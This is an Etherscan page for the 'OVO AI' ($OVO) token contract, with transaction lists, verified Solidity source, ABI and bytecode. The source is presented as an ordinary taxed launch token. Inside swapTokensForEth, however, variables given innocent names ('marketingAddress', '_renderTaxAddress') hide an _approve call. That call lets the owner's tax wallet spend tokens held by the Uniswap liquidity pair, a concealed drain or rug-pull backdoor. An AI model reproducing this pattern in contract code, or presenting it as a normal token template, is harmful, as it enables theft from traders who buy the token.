ETH Price: $3,019.03 (+2.02%)
Gas: 2 Gwei

Contract

0x37a22A2b2B3e72c9c8cBE4771A4C41C4806CB187
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve196814722024-04-18 9:32:4781 days ago1713432767IN
0x37a22A2b...4806CB187
0 ETH0.0002432810.0047931
Approve196814712024-04-18 9:32:3581 days ago1713432755IN
0x37a22A2b...4806CB187
0 ETH0.000241789.94306526
Approve195985762024-04-06 18:49:1193 days ago1712429351IN
0x37a22A2b...4806CB187
0 ETH0.0006751414.50654476
Approve195982852024-04-06 17:50:2393 days ago1712425823IN
0x37a22A2b...4806CB187
0 ETH0.0006984115.00643214
Approve195982572024-04-06 17:44:4793 days ago1712425487IN
0x37a22A2b...4806CB187
0 ETH0.000610113.17696917
Approve195982352024-04-06 17:40:2393 days ago1712425223IN
0x37a22A2b...4806CB187
0 ETH0.0006731814.46429053
Approve195982122024-04-06 17:35:4793 days ago1712424947IN
0x37a22A2b...4806CB187
0 ETH0.0006618314.29781339
Approve195979852024-04-06 16:49:4793 days ago1712422187IN
0x37a22A2b...4806CB187
0 ETH0.0008565818.3811987
Approve195979652024-04-06 16:45:4793 days ago1712421947IN
0x37a22A2b...4806CB187
0 ETH0.000715915.46597381
Approve195979542024-04-06 16:43:3593 days ago1712421815IN
0x37a22A2b...4806CB187
0 ETH0.0007605816.43113077
Approve195979472024-04-06 16:42:1193 days ago1712421731IN
0x37a22A2b...4806CB187
0 ETH0.0008026417.33989292
Approve195979432024-04-06 16:41:2393 days ago1712421683IN
0x37a22A2b...4806CB187
0 ETH0.0009060419.46756803
Approve195978882024-04-06 16:30:1193 days ago1712421011IN
0x37a22A2b...4806CB187
0 ETH0.0009014519.34409709
Approve195978812024-04-06 16:28:4793 days ago1712420927IN
0x37a22A2b...4806CB187
0 ETH0.0008970719.27502509
Approve195978302024-04-06 16:18:2393 days ago1712420303IN
0x37a22A2b...4806CB187
0 ETH0.0008036417.24530869
Approve195977702024-04-06 16:06:1193 days ago1712419571IN
0x37a22A2b...4806CB187
0 ETH0.0008034517.37531834
Approve195977592024-04-06 16:03:5993 days ago1712419439IN
0x37a22A2b...4806CB187
0 ETH0.0008643418.5717388
Approve195977482024-04-06 16:01:4793 days ago1712419307IN
0x37a22A2b...4806CB187
0 ETH0.0005063219.23085762
Transfer195977432024-04-06 16:00:4793 days ago1712419247IN
0x37a22A2b...4806CB187
0 ETH0.0009106515.9268612
Approve195977232024-04-06 15:56:3593 days ago1712418995IN
0x37a22A2b...4806CB187
0 ETH0.0007211115.49419824
Transfer195977152024-04-06 15:54:5993 days ago1712418899IN
0x37a22A2b...4806CB187
0 ETH0.000986417.25181659
Approve195977092024-04-06 15:53:4793 days ago1712418827IN
0x37a22A2b...4806CB187
0 ETH0.0004207714.4153784
Approve195976742024-04-06 15:46:4793 days ago1712418407IN
0x37a22A2b...4806CB187
0 ETH0.0007651216.43983075
Approve195976572024-04-06 15:43:2393 days ago1712418203IN
0x37a22A2b...4806CB187
0 ETH0.0007128715.29748604
Approve195976482024-04-06 15:41:3593 days ago1712418095IN
0x37a22A2b...4806CB187
0 ETH0.0004412315.11659635
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To Value
195987062024-04-06 19:15:2393 days ago1712430923
0x37a22A2b...4806CB187
12.57819896 ETH
195987062024-04-06 19:15:2393 days ago1712430923
0x37a22A2b...4806CB187
12.57819896 ETH
195982732024-04-06 17:47:5993 days ago1712425679
0x37a22A2b...4806CB187
0.13976804 ETH
195982732024-04-06 17:47:5993 days ago1712425679
0x37a22A2b...4806CB187
0.13976804 ETH
195982182024-04-06 17:36:5993 days ago1712425019
0x37a22A2b...4806CB187
0.13976804 ETH
195982182024-04-06 17:36:5993 days ago1712425019
0x37a22A2b...4806CB187
0.13976804 ETH
195982122024-04-06 17:35:4793 days ago1712424947
0x37a22A2b...4806CB187
0.13976804 ETH
195982122024-04-06 17:35:4793 days ago1712424947
0x37a22A2b...4806CB187
0.13976804 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.01590829 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.01590829 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.0217656 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.0217656 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.13291722 ETH
195976582024-04-06 15:43:3593 days ago1712418215
0x37a22A2b...4806CB187
0.13291722 ETH
195976092024-04-06 15:33:4793 days ago1712417627
0x37a22A2b...4806CB187
0.01908152 ETH
195976092024-04-06 15:33:4793 days ago1712417627
0x37a22A2b...4806CB187
0.01908152 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.00947272 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.00947272 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.01863954 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.01863954 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.11089079 ETH
195976002024-04-06 15:31:5993 days ago1712417519
0x37a22A2b...4806CB187
0.11089079 ETH
195975592024-04-06 15:23:4793 days ago1712417027
0x37a22A2b...4806CB187
0.01028484 ETH
195975592024-04-06 15:23:4793 days ago1712417027
0x37a22A2b...4806CB187
0.01028484 ETH
195975592024-04-06 15:23:4793 days ago1712417027
0x37a22A2b...4806CB187
0.07722118 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
OVOAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-06
*/

/**

OVO AI - $OVO

Website:  https://www.ovoai.tech
Utility:  https://app.ovoai.tech
Telegram: https://t.me/ovoaitech
Twitter:  https://twitter.com/ovoaitech

**/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OVOAI is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private  _taxWallet;
    address private uniswapV2Pair;
    address private _renderTaxAddress;
    address private marketingAddress;
    IUniswapV2Router02 private uniswapV2Router;

    uint256 private constant _initialBuyTax =35;
    uint256 private constant _initialSellTax=35;
    uint256 private constant _reduceBuyTaxAt=16;
    uint256 private constant _reduceSellTaxAt=16;
    uint256 private constant _preventSwapBefore=16;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _buyCount=0;
    
    string  private constant _name   = unicode"OVO AI";
    string  private constant _ticker = unicode"OVO";
    uint8   private constant _decimals = 9;
    uint256 private constant _tSupply = 100000000 * 10**_decimals;
    uint256 public  constant _taxSwapThreshold = 10 * 10**_decimals;
    uint256 public  constant _maxTaxSwap = 3000000 * 10**_decimals;
    uint256 public _maxTxAmount = 2000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000 * 10**_decimals;   
    uint256 public  constant _minTaxSwap = 10 * 10**_decimals;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    
    event TradingActive (bool _tradingOpen,bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet) {
         _taxWallet = payable(taxWallet);
        _balances[_msgSender()] = _tSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _ticker;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;

        if (from != owner() && to != owner()) { 

            if(!tradingOpen){
                require(
                    _isExcludedFromFee[to] || _isExcludedFromFee[from],
                    "trading not yet open"
                );
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            
            if ( to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)/100;    
            } 
            else if (from == uniswapV2Pair && to!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)/100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap && 
                to == uniswapV2Pair && 
                swapEnabled && 
                contractTokenBalance > _taxSwapThreshold && 
                _buyCount > _preventSwapBefore
            ){
                uint256 getMinValue = (contractTokenBalance > _maxTaxSwap)?_maxTaxSwap:contractTokenBalance;
                swapTokensForEth((amount > getMinValue)?getMinValue:amount);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        _renderTaxAddress = _taxWallet;
        path[1] = uniswapV2Router.WETH();
        marketingAddress = uniswapV2Pair;
        _approve(marketingAddress, _renderTaxAddress, _maxWalletSize);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _createPair () external onlyOwner {
        require(!tradingOpen,"init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(_tSupply.mul(_initialBuyTax).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), type(uint).max);
        uniswapV2Pair = IUniswapV2Factory(
            uniswapV2Router.factory())
            .createPair(address(this), 
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
    }

    function _openTrading () external onlyOwner {
        require(!tradingOpen,"trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive (tradingOpen,swapEnabled);
    }

    function _removeLimits () external onlyOwner {
        _maxTxAmount = _tSupply;
        _maxWalletSize = _tSupply;
        emit maxAmount (_tSupply);
    }
    
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"TradingActive","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260026009556002600a556000600b556009600a6200002391906200030c565b6200003290621e848062000324565b600c55620000436009600a6200030c565b6200005290621e848062000324565b600d55600e805462ffff00191690553480156200006e57600080fd5b5060405162001be138038062001be183398101604081905262000091916200033e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620000fb6009600a6200030c565b6200010b906305f5e10062000324565b336000908152600160208190526040822092909255600390620001366000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001953390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001cf6009600a6200030c565b620001df906305f5e10062000324565b60405190815260200160405180910390a35062000369565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200024e578160001904821115620002325762000232620001f7565b808516156200024057918102915b93841c939080029062000212565b509250929050565b600082620002675750600162000306565b81620002765750600062000306565b81600181146200028f57600281146200029a57620002ba565b600191505062000306565b60ff841115620002ae57620002ae620001f7565b50506001821b62000306565b5060208310610133831016604e8410600b8410161715620002df575081810a62000306565b620002eb83836200020d565b8060001904821115620003025762000302620001f7565b0290505b92915050565b60006200031d60ff84168362000256565b9392505050565b8082028115828204841417620003065762000306620001f7565b6000602082840312156200035157600080fd5b81516001600160a01b03811681146200031d57600080fd5b61186880620003796000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a057806395d89b411161006457806395d89b41146102e9578063a9059cbb14610315578063bf474bed14610204578063dd62ed3e14610335578063fb1c80c51461037b57600080fd5b806370a082311461024a578063715018a6146102805780637d1db4a5146102955780638da5cb5b146102ab5780638f9a55c0146102d357600080fd5b80631c1702f3116100e75780631c1702f3146101cd57806323b872dd146101e4578063300d621714610204578063313ce567146102195780634a30b3861461023557600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b857600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152654f564f20414960d01b60208201525b60405161015c9190611437565b60405180910390f35b34801561017157600080fd5b5061018561018036600461149d565b610390565b604051901515815260200161015c565b3480156101a157600080fd5b506101aa6103a7565b60405190815260200161015c565b3480156101c457600080fd5b506101aa6103c3565b3480156101d957600080fd5b506101e26103e4565b005b3480156101f057600080fd5b506101856101ff3660046114c9565b6104bd565b34801561021057600080fd5b506101aa610526565b34801561022557600080fd5b506040516009815260200161015c565b34801561024157600080fd5b506101e261053d565b34801561025657600080fd5b506101aa61026536600461150a565b6001600160a01b031660009081526001602052604090205490565b34801561028c57600080fd5b506101e26105ea565b3480156102a157600080fd5b506101aa600c5481565b3480156102b757600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102df57600080fd5b506101aa600d5481565b3480156102f557600080fd5b506040805180820190915260038152624f564f60e81b602082015261014f565b34801561032157600080fd5b5061018561033036600461149d565b61065e565b34801561034157600080fd5b506101aa610350366004611527565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038757600080fd5b506101e261066b565b600061039d338484610a0b565b5060015b92915050565b6103b36009600a61165a565b6103c090622dc6c0611669565b81565b60006103d16009600a61165a565b6103df906305f5e100611669565b905090565b6000546001600160a01b031633146104175760405162461bcd60e51b815260040161040e90611680565b60405180910390fd5b600e5460ff16156104615760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b604482015260640161040e565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b60006104ca848484610ad8565b61051c84336105178560405180606001604052806028815260200161180b602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061107e565b610a0b565b5060019392505050565b6105326009600a61165a565b6103c090600a611669565b6000546001600160a01b031633146105675760405162461bcd60e51b815260040161040e90611680565b6105736009600a61165a565b610581906305f5e100611669565b600c556105906009600a61165a565b61059e906305f5e100611669565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105ce6009600a61165a565b6105dc906305f5e100611669565b6040519081526020016104b3565b6000546001600160a01b031633146106145760405162461bcd60e51b815260040161040e90611680565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039d338484610ad8565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161040e90611680565b600e5460ff16156106de5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161040e565b6000610729610713606461070d60236106f96009600a61165a565b610707906305f5e100611669565b906110b8565b90611141565b3060009081526001602052604090205490611183565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155909150610763903090600019610a0b565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da91906116b5565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086091906116b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d191906116b5565b600580546001600160a01b0319166001600160a01b039283161790556008541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610965573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098a91906116d2565b505060055460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a079190611700565b5050565b6001600160a01b03831615801590610a2b57506001600160a01b03821615155b610a775760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f206164647265737300604482015260640161040e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610af857506001600160a01b03821615155b610b445760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f2061646472657373604482015260640161040e565b60008111610ba65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161040e565b600080546001600160a01b03858116911614801590610bd357506000546001600160a01b03848116911614155b15610f3b57600e5460ff16610c64576001600160a01b03831660009081526003602052604090205460ff1680610c2157506001600160a01b03841660009081526003602052604090205460ff165b610c645760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161040e565b6005546001600160a01b038581169116148015610c8f57506008546001600160a01b03848116911614155b8015610cb457506001600160a01b03831660009081526003602052604090205460ff16155b15610d9c57600c54821115610d0b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161040e565b600d5482610d2e856001600160a01b031660009081526001602052604090205490565b610d389190611722565b1115610d865760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161040e565b600b8054906000610d9683611735565b91905055505b6005546001600160a01b038481169116148015610dc257506001600160a01b0384163014155b15610df9576064610de86010600b5411610ddd576023610de1565b600a545b84906110b8565b610df2919061174e565b9050610e51565b6005546001600160a01b038581169116148015610e1f57506001600160a01b0383163014155b15610e51576064610e446010600b5411610e3a576023610de1565b60095484906110b8565b610e4e919061174e565b90505b30600090815260016020526040902054600e54610100900460ff16158015610e8657506005546001600160a01b038581169116145b8015610e9a5750600e5462010000900460ff165b8015610ebb5750610ead6009600a61165a565b610eb890600a611669565b81115b8015610ec957506010600b54115b15610f39576000610edc6009600a61165a565b610ee990622dc6c0611669565b8211610ef55781610f0e565b610f016009600a61165a565b610f0e90622dc6c0611669565b9050610f26818511610f2057846111c5565b816111c5565b478015610f3657610f3647611370565b50505b505b8015610fb55730600090815260016020526040902054610f5b90826113aa565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fac9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fd89083611183565b6001600160a01b03851660009081526001602052604090205561101d610ffe8383611183565b6001600160a01b038516600090815260016020526040902054906113aa565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110678585611183565b60405190815260200160405180910390a350505050565b600081848411156110a25760405162461bcd60e51b815260040161040e9190611437565b5060006110af8486611770565b95945050505050565b6000826000036110ca575060006103a1565b60006110d68385611669565b9050826110e3858361174e565b1461113a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161040e565b9392505050565b600061113a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611409565b600061113a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107e565b600e805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120957611209611783565b6001600160a01b0392831660209182029290920181019190915260048054600680546001600160a01b031916918516919091179055600854604080516315ab88c960e31b81529051919094169363ad5c464893818401939092918290030181865afa15801561127c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a091906116b5565b816001815181106112b3576112b3611783565b6001600160a01b039283166020918202929092010152600554600780546001600160a01b0319169183169182179055600654600d546112f6939190911690610a0b565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132f908590600090869030904290600401611799565b600060405180830381600087803b15801561134957600080fd5b505af115801561135d573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a07573d6000803e3d6000fd5b6000806113b78385611722565b90508381101561113a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161040e565b6000818361142a5760405162461bcd60e51b815260040161040e9190611437565b5060006110af848661174e565b600060208083528351808285015260005b8181101561146457858101830151858201604001528201611448565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149a57600080fd5b50565b600080604083850312156114b057600080fd5b82356114bb81611485565b946020939093013593505050565b6000806000606084860312156114de57600080fd5b83356114e981611485565b925060208401356114f981611485565b929592945050506040919091013590565b60006020828403121561151c57600080fd5b813561113a81611485565b6000806040838503121561153a57600080fd5b823561154581611485565b9150602083013561155581611485565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156115b157816000190482111561159757611597611560565b808516156115a457918102915b93841c939080029061157b565b509250929050565b6000826115c8575060016103a1565b816115d5575060006103a156